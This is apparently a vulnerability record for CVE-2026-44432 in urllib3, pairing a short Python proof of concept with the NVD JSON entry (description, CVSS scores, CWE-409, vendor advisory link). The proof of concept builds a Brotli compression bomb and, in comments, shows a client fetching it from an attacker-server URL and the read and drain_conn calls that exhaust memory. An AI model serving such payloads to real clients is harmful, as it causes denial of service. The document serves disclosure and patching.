CVE-2026-44432

import urllib3 import brotli # This PoC demonstrates the concept of the vulnerability. # It creates a malicious payload that decompresses to a large size. # 1. Create a compression bomb (100MB of 'A's compressed) original_data = b'A' * (100 * 1024 * 1024) compressed_payload = brotli.compress(original_data) print(f"Original size: {len(original_data)}, Compressed size: {len(compressed_payload)}") # In a real attack scenario, this payload would be served by a malicious server. # The victim's code using vulnerable urllib3 might look like this: # http = urllib3.PoolManager() # response = http.request('GET', 'http://attacker-server.com/exploit', preload_content=False) # # # Vulnerability Trigger 1: Second read with amount limit # # Intending to read only 1024 bytes, but urllib3 decompresses the full 100MB into memory. # first_chunk = response.read(1024) # second_chunk = response.read(1024) # Vulnerable here in 2.6.0 < x < 2.7.0 with Brotli # # # Vulnerability Trigger 2: drain_conn after partial read # response.drain_conn() # Vulnerable here print("PoC logic generated. Sending this payload to a vulnerable client will trigger OOM/CPU spike.")

{"cve": {"id": "CVE-2026-44432", "sourceIdentifier": "[email protected]", "published": "2026-05-13T16:16:57.303", "lastModified": "2026-05-14T13:49:25.483", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "urllib3 is an HTTP client library for Python. From 2.6.0 to before 2.7.0, urllib3 could decompress the whole response instead of the requested portion (1) during the second HTTPResponse.read(amt=N) call when the response was decompressed using the official Brotli library or (2) when HTTPResponse.drain_conn() was called after the response had been read and decompressed partially (compression algorithm did not matter here). These issues could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This could result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data) on the client side. This vulnerability is fixed in 2.7.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-409"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:python:urllib3:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.0", "versionEndExcluding": "2.7.0", "matchCriteriaId": "2B9D0BE5-DF70-4B46-8128-324E04104B1B"}]}]}], "references": [{"url": "https://github.com/urllib3/urllib3/security/advisories/GHSA-mf9v-mfxr-j63j", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}